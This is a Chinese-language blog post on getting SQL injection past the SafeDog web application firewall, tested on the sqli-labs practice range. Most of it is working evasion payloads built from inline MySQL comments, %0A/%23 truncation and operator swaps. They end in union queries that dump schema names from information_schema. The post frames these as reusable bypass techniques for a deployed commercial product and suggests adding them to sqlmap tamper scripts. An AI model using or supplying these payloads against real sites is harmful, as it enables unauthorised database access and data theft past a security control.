SQL注入绕过某Dog

简介: SQL注入绕过某Dog


一、环境搭建


下载最新版的安全狗

安装后配置好环境(将防护等级修改为高级)

77b2223ac750327352bed5cb487980f2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

注:此次使用的为sqli-lab靶场,懒得自己写环境了。


二、尝试绕过


使用普通的注入语句尝试,被拦截,此时不要慌,想绕狗呢,就必须知道那个关键字被识别了,想办法使用相同的参数去代替。

8465ad94e744a4b3a7a06767979e506f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

语句很短,盲猜是 and 被识别了,删掉之后页面正常。

先来看这句注入  ?id=1'  and 1=1--+  可以理解为 and 前后的条件达成一致不会报错,所以这里的 and 可以替换为 or 、 xor 、&& 、|| 等等,1=1 、1=2 这种判断条件可以改为 false、true等等,思路捋清晰,开始测试。

abe97349a09b76827b5e40b3a41e0b5d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

测试结果 ?id=1' || true--+ 成功绕过,说明此处的条件判断将 and 改为 ||可以绕过。

此时换个思路,尝试步修改 and 使用内联注释尝试绕过

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。/*!50001*/ 在数据库版本大于5.00.00时中间的语句会被执行,此处的50001表示假如。

?id=1'/*!11444and*/ '1'='3'--+

d7a40dab57a5e734eb6518bb223aefd3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

?id=1'/*!11444or*/ '1'='3'--+

80afa8cc2174ae09ceb67d57aee24159_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

?id=1' and /*!500001*/=/*!500002*/--+

83dc6ceeada3b1c551263842903dfd74_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

下面一步时猜字段,使用order by 、group by等,安全狗一直会识别 order by ,但不会识别 group by。

72d1cfb8774e94b78f0495912e2f13ac_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

8dcf92e4bf5c8ea409dbc17090804e49_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

后边是联合查询,union select 等效替换,内联注释的添加,还可以使用特殊字符替换空格来尝试绕过(在20年12月份还写过一版,当时的 union 中间穿插 /*%!a*/ 还可以绕过)

c5428cb7ac48fdc80b8c1d4853a4c156_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

尝试内联注释和 %0a 截断都会被拦截,应该是匹配到了内联注释直接拦截。

16ae9603fb17ad50515476c6cdce02dc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


尝试在参数后插入其他语句后执行后,添加注释,再使用截断;这里直接使用#语句报错,将双引号给直接注释掉了,将 # 替换为 %23回显正常。


?id=1' regexp "%0A%23" /*!11144union %0A select */1,2,3--+


01029f6b29d5485c8238b911352b861e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

a91083e71933f7bdf47986255f7d4b49_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

安全狗早就把 database() 加入规则中了,去年测试时使用垃圾字符和内联注释可以绕过,现在也不行了。

116b0cbc39bcab6f1325153a963252c2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

9bd401a1d713108705c2b78202695750_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

测试将括号删一个,然后报错但是没有被拦截,可以在括号内进行操作,添加内联注释或者截断。

6540448ae9c2d07a169a62836b062751_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

添加单个截断会被拦,又加了内联注释,成功绕过。


?id=-1' regexp "%0A%23"/*!50001union %0A select*/ 1,2,database(%0A /*!11144*/)--+


dc2408980c3c73190dcb67a60d9ab88d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


三、小总结


这里就可以总结一下绕过的姿势了,关键字体换姿势比较少,比较多的还是使用截断和内联注释。

判断是否存在注入时,and 、or、xor 等可以替换为 || false||trueand /*!500001*/=/*!500001*//*!11444or*/ '1'='3' 进行绕过判断;使用联合注入时现在的某狗会将整个字符连同内联注释拦截,在 union 前添加一些其他函数进行混淆:regexp "%0a%23" /*!50001union %0a select*/1,2,3 (内联注释中的数字是作为判断,是否大于5.00.01,如果当前数据库版本小于5.00.01则语句被注释掉)这里的50001有时候会被拦截,可以替换成其他的五位的数字,这里就不做测试了;数据查询中的关键字被拦截时可以尝试在括号中做插入换行、截断、内联注释等等。

注表和字段大差不差的都相似,就是需要检查那个关键字被识别,对关键字进行修改,括号包裹、内联注释、换行截断等等都可以试一试。


regexp "%0A%23"/*!11441union %0A select*/ 1,(select %0A (schema_name %0A /*80000aaa*/) %0A from %0A /*!11444 /*REGEXP "[…%0A%23]"*/ %0A information_schema.schemata*/ limit 0),3--+


358118f8a2e73c3aa984b2f9bc1513f8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


regexp "%0A%23"/*!11441union %0A select*/ 1,(select %0A group_concat(schema_name %0A /*11444*/) %0A from %0A /*!11444 /*REGEXP "[…%0A%23]"*/ %0A information_schema.schemata*/),3--+


自己找到规律之后可以尝试修改sqlmap的脚本,sqlmap本身自带绕过安全设备的脚本,自己可以添加几个来丰富自己的武器库。



相关文章
|
18天前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
61 5
|
20天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
46 5
|
19天前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
68 1
|
19天前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
30 1
|
21天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
27 3
|
28天前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
54 6
|
28天前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
21 5
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
63 0
|
3月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
51 0
|
3月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【7月更文挑战第27天】在 Web 开发中,安全漏洞如同暗礁,其中 SQL 注入、XSS 和 CSRF 尤为棘手。本文通过实战案例展示如何使用 Python 抵御这些威胁。
59 0